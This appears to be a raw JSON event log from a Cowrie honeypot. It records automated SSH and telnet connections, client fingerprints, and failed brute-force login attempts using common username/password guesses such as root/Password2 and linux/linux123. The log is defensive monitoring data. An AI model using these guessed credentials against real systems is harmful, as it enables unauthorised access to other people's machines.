{"eventid":"cowrie.login.failed","username":"root","password":"fedora","message":"login attempt [root/fedora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:25.072578Z","src_ip":"31.59.89.180","session":"91e043061ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:26.188396Z","src_ip":"31.59.89.180","session":"91e043061ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":56334,"dst_ip":"10.17.0.5","dst_port":22,"session":"251fccda1390","protocol":"ssh","message":"New connection: 20.12.41.6:56334 (10.17.0.5:22) [session: 251fccda1390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:44.191545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:44.196379Z","src_ip":"20.12.41.6","session":"251fccda1390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:44.211100Z","src_ip":"20.12.41.6","session":"251fccda1390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:44.270297Z","src_ip":"47.86.95.62","session":"094a9a3b5725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1010","message":"login attempt [root/1010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:44.306207Z","src_ip":"20.12.41.6","session":"251fccda1390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:45.324014Z","src_ip":"20.12.41.6","session":"251fccda1390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":45928,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b39eb57d441","protocol":"ssh","message":"New connection: 43.153.27.162:45928 (10.17.0.5:22) [session: 3b39eb57d441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:52.726165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:52.730931Z","src_ip":"43.153.27.162","session":"3b39eb57d441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:52.799994Z","src_ip":"43.153.27.162","session":"3b39eb57d441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blablabla","message":"login attempt [root/blablabla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:53.106161Z","src_ip":"43.153.27.162","session":"3b39eb57d441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:54.178617Z","src_ip":"43.153.27.162","session":"3b39eb57d441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":52358,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c7f824ff908","protocol":"ssh","message":"New connection: 61.222.211.114:52358 (159.203.135.109:22) [session: 9c7f824ff908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:13.639599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:13.645291Z","src_ip":"61.222.211.114","session":"9c7f824ff908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:13.857625Z","src_ip":"61.222.211.114","session":"9c7f824ff908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:14.734088Z","src_ip":"61.222.211.114","session":"9c7f824ff908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:15.949369Z","src_ip":"61.222.211.114","session":"9c7f824ff908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":49220,"dst_ip":"10.17.0.5","dst_port":23,"session":"af82bd42578c","protocol":"telnet","message":"New connection: 118.194.234.14:49220 (10.17.0.5:23) [session: af82bd42578c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:17.966975Z"}
{"eventid":"cowrie.session.closed","duration":0.006212711334228516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:17.973051Z","src_ip":"118.194.234.14","session":"af82bd42578c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":49224,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d2491391ab9","protocol":"telnet","message":"New connection: 118.194.234.14:49224 (10.17.0.5:23) [session: 2d2491391ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:18.423905Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31520,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed42b41e7de5","protocol":"ssh","message":"New connection: 194.59.206.2:31520 (159.203.135.109:22) [session: ed42b41e7de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:23.483945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:23.489248Z","src_ip":"194.59.206.2","session":"ed42b41e7de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:23.583456Z","src_ip":"194.59.206.2","session":"ed42b41e7de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:23.679954Z","src_ip":"194.59.206.2","session":"ed42b41e7de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:30.874572Z","src_ip":"47.86.95.62","session":"09a46046ef90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":58580,"dst_ip":"159.203.135.109","dst_port":22,"session":"b08c8b1e8c02","protocol":"ssh","message":"New connection: 118.26.36.248:58580 (159.203.135.109:22) [session: b08c8b1e8c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:34.798743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:34.803662Z","src_ip":"118.26.36.248","session":"b08c8b1e8c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:35.036577Z","src_ip":"118.26.36.248","session":"b08c8b1e8c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#EDC4rfv","message":"login attempt [root/#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:35.914145Z","src_ip":"118.26.36.248","session":"b08c8b1e8c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.2560555934906,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:36.679815Z","src_ip":"118.194.234.14","session":"2d2491391ab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":50802,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9ce5cec35e3","protocol":"telnet","message":"New connection: 118.194.234.14:50802 (10.17.0.5:23) [session: b9ce5cec35e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:36.903922Z"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:36.909993Z","src_ip":"118.194.234.14","session":"b9ce5cec35e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:37.129683Z","src_ip":"118.26.36.248","session":"b08c8b1e8c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":11510,"dst_ip":"10.17.0.5","dst_port":22,"session":"327b2c7e27ed","protocol":"ssh","message":"New connection: 176.65.132.190:11510 (10.17.0.5:22) [session: 327b2c7e27ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:39.276479Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:39.281545Z","src_ip":"176.65.132.190","session":"327b2c7e27ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":38780,"dst_ip":"159.203.135.109","dst_port":22,"session":"db749e83eac7","protocol":"ssh","message":"New connection: 31.59.89.180:38780 (159.203.135.109:22) [session: db749e83eac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:45.270000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:45.274514Z","src_ip":"31.59.89.180","session":"db749e83eac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:45.389817Z","src_ip":"31.59.89.180","session":"db749e83eac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2","message":"login attempt [root/Password2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:45.865491Z","src_ip":"31.59.89.180","session":"db749e83eac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:46.980088Z","src_ip":"31.59.89.180","session":"db749e83eac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.233927249908447,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:55.137738Z","src_ip":"118.194.234.14","session":"b9ce5cec35e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.234.14","src_port":45134,"dst_ip":"10.17.0.5","dst_port":23,"session":"5af6f40224d0","protocol":"telnet","message":"New connection: 118.194.234.14:45134 (10.17.0.5:23) [session: 5af6f40224d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:22:55.370668Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":45360,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4456da1f6b3","protocol":"ssh","message":"New connection: 209.99.184.143:45360 (159.203.135.109:22) [session: d4456da1f6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:03.502569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:03.507740Z","src_ip":"209.99.184.143","session":"d4456da1f6b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:03.600121Z","src_ip":"209.99.184.143","session":"d4456da1f6b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd112211","message":"login attempt [root/Dd112211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:03.998970Z","src_ip":"209.99.184.143","session":"d4456da1f6b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:05.096480Z","src_ip":"209.99.184.143","session":"d4456da1f6b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":48700,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcddc3b9d85b","protocol":"ssh","message":"New connection: 47.86.95.62:48700 (10.17.0.5:22) [session: bcddc3b9d85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:10.183762Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":42242,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fcf6e77b534","protocol":"ssh","message":"New connection: 20.12.41.6:42242 (10.17.0.5:22) [session: 8fcf6e77b534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:23:10.884889Z"}
